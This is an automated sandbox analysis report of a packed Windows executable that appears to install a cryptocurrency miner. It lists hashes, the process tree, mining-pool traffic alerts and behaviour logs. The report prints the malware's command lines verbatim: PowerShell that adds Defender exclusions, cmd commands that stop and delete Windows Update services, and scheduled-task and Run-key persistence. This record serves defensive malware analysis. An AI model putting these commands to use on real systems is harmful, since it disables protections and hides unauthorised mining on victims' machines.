Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Feb. 19, 2025, 10:35 a.m.	Feb. 19, 2025, 10:43 a.m.

Size	4.9MB
Type	PE32+ executable (GUI) x86-64, for MS Windows
MD5	`3b1bf937711e0b1f3b6e455d535cc4f0`
SHA256	`647fb95e4fbe4daaaff5dd81e69c2cef8c12d8f5a6f7c95d88f67de72e542b06`
CRC32	`1A689F4A`
ssdeep	`98304:j3GvI7nzlAi52DH1Emy/+hpC7FBV0CCqXqoOONza/IIA2ZeN9zE1m7:j3GvuSiIDHbM+G7Ff0s5NoIIA2M9w1w`
PDB Path	D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb
Yara	Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature IsPE64 - (no description) Generic_Malware_Zero - Generic Malware OS_Processor_Check_Zero - OS Processor Check UPX_Zero - UPX packed file

JHiuhe2rg7tds.exe "C:\Users\test22\AppData\Local\Temp\JHiuhe2rg7tds.exe"
2576
- Tbcelsmfm.exe "C:\Users\test22\AppData\Local\Temp\Tbcelsmfm.exe"
  2764
- lgigivedpdvfs.exe "C:\Users\test22\AppData\Local\Temp\lgigivedpdvfs.exe"
  2808
  - powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
    3012
  - cmd.exe cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    2820
    - sc.exe sc stop UsoSvc
      2868
    - sc.exe sc stop WaaSMedicSvc
      2316
    - sc.exe sc stop wuauserv
      3028
    - sc.exe sc stop bits
      2932
    - sc.exe sc stop dosvc
      2952
    - reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
      2840
    - reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
      1788
    - reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
      2688
    - reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
      1336
    - reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
      2292
  - cmd.exe cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
    1376
    - powercfg.exe powercfg /x -hibernate-timeout-ac 0
      2700
    - powercfg.exe powercfg /x -hibernate-timeout-dc 0
      2148
    - powercfg.exe powercfg /x -standby-timeout-ac 0
      1316
    - powercfg.exe powercfg /x -standby-timeout-dc 0
      2076
  - powershell.exe powershell <#tkmebyokj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Barac' /tr '''C:\Program Files\Cuis\bon\Bara.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Cuis\bon\Bara.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Barac' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Barac" /t REG_SZ /f /d 'C:\Program Files\Cuis\bon\Bara.exe' }
    812
  - C:\Windows\system32\dialer.exe
    2676
  - powershell.exe powershell <#byjeowvd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "Barac" } Else { "C:\Program Files\Cuis\bon\Bara.exe" }
    2256
- MLjvrefsd5vf1.exe "C:\Users\test22\AppData\Local\Temp\MLjvrefsd5vf1.exe"
  2852

Name	Response	Post-Analysis Lookup
usa-east.raptoreum.zone	A 31.220.102.19

IP Address	Status	Action
185.157.162.126	Active	Moloch
164.124.101.2	Active	Moloch
31.220.102.19	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49170 -> 31.220.102.19:3333	2017871	ET COINMINER W32/BitCoinMiner.MultiThreat Subscribe/Authorize Stratum Protocol Message	Crypto Currency Mining Activity Detected
TCP 192.168.56.101:49170 -> 31.220.102.19:3333	2017871	ET COINMINER W32/BitCoinMiner.MultiThreat Subscribe/Authorize Stratum Protocol Message	Crypto Currency Mining Activity Detected
TCP 192.168.56.101:49170 -> 31.220.102.19:3333	2017871	ET COINMINER W32/BitCoinMiner.MultiThreat Subscribe/Authorize Stratum Protocol Message	Crypto Currency Mining Activity Detected

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (6 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Feb. 19, 2025, 10:28 a.m.			0	0
IsDebuggerPresent Feb. 19, 2025, 10:28 a.m.			0	0
IsDebuggerPresent Feb. 19, 2025, 10:29 a.m.			0	0
IsDebuggerPresent Feb. 19, 2025, 10:29 a.m.			0	0
IsDebuggerPresent Feb. 19, 2025, 10:29 a.m.			0	0
IsDebuggerPresent Feb. 19, 2025, 10:29 a.m.			0	0

Command line console output was observed (15 events)

Time & API	Arguments	Status	Return
WriteConsoleW Feb. 19, 2025, 10:29 a.m.	buffer: [SC] OpenService FAILED 1060: The specified service does not exist as an installed service. console_handle: 0x0000000000000007	1	1
WriteConsoleW Feb. 19, 2025, 10:29 a.m.	buffer: [SC] OpenService FAILED 1060: The specified service does not exist as an installed service. console_handle: 0x0000000000000007	1	1
WriteConsoleW Feb. 19, 2025, 10:29 a.m.	buffer: [SC] ControlService FAILED 1062: The service has not been started. console_handle: 0x0000000000000007	1	1
WriteConsoleW Feb. 19, 2025, 10:29 a.m.	buffer: [SC] ControlService FAILED 1062: The service has not been started. console_handle: 0x0000000000000007	1	1
WriteConsoleW Feb. 19, 2025, 10:29 a.m.	buffer: [SC] OpenService FAILED 1060: The specified service does not exist as an installed service. console_handle: 0x0000000000000007	1	1
WriteConsoleW Feb. 19, 2025, 10:29 a.m.	buffer: ERROR: console_handle: 0x000000000000000b	1	1
WriteConsoleW Feb. 19, 2025, 10:29 a.m.	buffer: The system was unable to find the specified registry key or value. console_handle: 0x000000000000000b	1	1
WriteConsoleW Feb. 19, 2025, 10:29 a.m.	buffer: ERROR: console_handle: 0x000000000000000b	1	1
WriteConsoleW Feb. 19, 2025, 10:29 a.m.	buffer: The system was unable to find the specified registry key or value. console_handle: 0x000000000000000b	1	1
WriteConsoleW Feb. 19, 2025, 10:29 a.m.	buffer: ERROR: console_handle: 0x000000000000000b	1	1
WriteConsoleW Feb. 19, 2025, 10:29 a.m.	buffer: The system was unable to find the specified registry key or value. console_handle: 0x000000000000000b	1	1
WriteConsoleW Feb. 19, 2025, 10:29 a.m.	buffer: ERROR: console_handle: 0x000000000000000b	1	1
WriteConsoleW Feb. 19, 2025, 10:29 a.m.	buffer: The system was unable to find the specified registry key or value. console_handle: 0x000000000000000b	1	1
WriteConsoleW Feb. 19, 2025, 10:29 a.m.	buffer: ERROR: console_handle: 0x000000000000000b	1	1
WriteConsoleW Feb. 19, 2025, 10:29 a.m.	buffer: The system was unable to find the specified registry key or value. console_handle: 0x000000000000000b	1	1

This executable has a PDB path (1 event)

pdb_path

D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Feb. 19, 2025, 10:28 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (2 events)

section	.didat
section	_RDATA

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

PNG

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ Feb. 19, 2025, 10:29 a.m.	stacktrace: 0x16aa4 0x140001f16 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.instruction: add byte ptr [rax], al exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x16aa4 registers.r14: 0 registers.r15: 0 registers.rcx: 2357912 registers.rsi: 0 registers.r10: 0 registers.rbx: 47936899621426 registers.rsp: 2357864 registers.r11: 0 registers.r8: 8796092862464 registers.r9: 5368715332 registers.rdx: 5368715332 registers.r12: 0 registers.rbp: 2357888 registers.rdi: 0 registers.rax: 47936899621426 registers.r13: 0	1	0	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 94 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Feb. 19, 2025, 10:35 a.m.	process_identifier: 2576 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007304c000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2764 region_size: 176128 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000500000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2808 region_size: 176128 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000001dc0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2808 region_size: 176128 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000001e80000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 1638400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000610000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000720000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3ba1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef423b000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 1900544 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002130000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002280000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3ba2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3ba2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3ba2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3ba2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3ba2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3ba2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3ba2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3ba2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3ba2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3ba2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3ba2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3ba4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3ba4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3ba4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3ba4000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9440a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe944bc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe944e6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe944c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9441c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94540000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9442b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9440b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9445c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9442d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94590000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94402000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9441a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94591000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9441b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe945a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe945a1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9445d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:28 a.m.	process_identifier: 2852 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe945a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Creates executable files on the filesystem (3 events)

file	C:\Users\test22\AppData\Local\Temp\Tbcelsmfm.exe
file	C:\Users\test22\AppData\Local\Temp\MLjvrefsd5vf1.exe
file	C:\Users\test22\AppData\Local\Temp\lgigivedpdvfs.exe

Creates a suspicious process (3 events)

cmdline	powershell <#byjeowvd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "Barac" } Else { "C:\Program Files\Cuis\bon\Bara.exe" }
cmdline	powershell <#tkmebyokj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Barac' /tr '''C:\Program Files\Cuis\bon\Bara.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Cuis\bon\Bara.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Barac' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Barac" /t REG_SZ /f /d 'C:\Program Files\Cuis\bon\Bara.exe' }
cmdline	powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\MLjvrefsd5vf1.exe

A process created a hidden window (5 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Feb. 19, 2025, 10:28 a.m.	thread_identifier: 3016 thread_handle: 0x0000000000000070 process_identifier: 3012 current_directory: filepath: track: 1 command_line: powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x0000000000000074	1	1
CreateProcessInternalW Feb. 19, 2025, 10:28 a.m.	thread_identifier: 2928 thread_handle: 0x0000000000000074 process_identifier: 2820 current_directory: filepath: track: 1 command_line: cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x0000000000000088	1	1
CreateProcessInternalW Feb. 19, 2025, 10:28 a.m.	thread_identifier: 2520 thread_handle: 0x0000000000000088 process_identifier: 1376 current_directory: filepath: track: 1 command_line: cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x0000000000000090	1	1
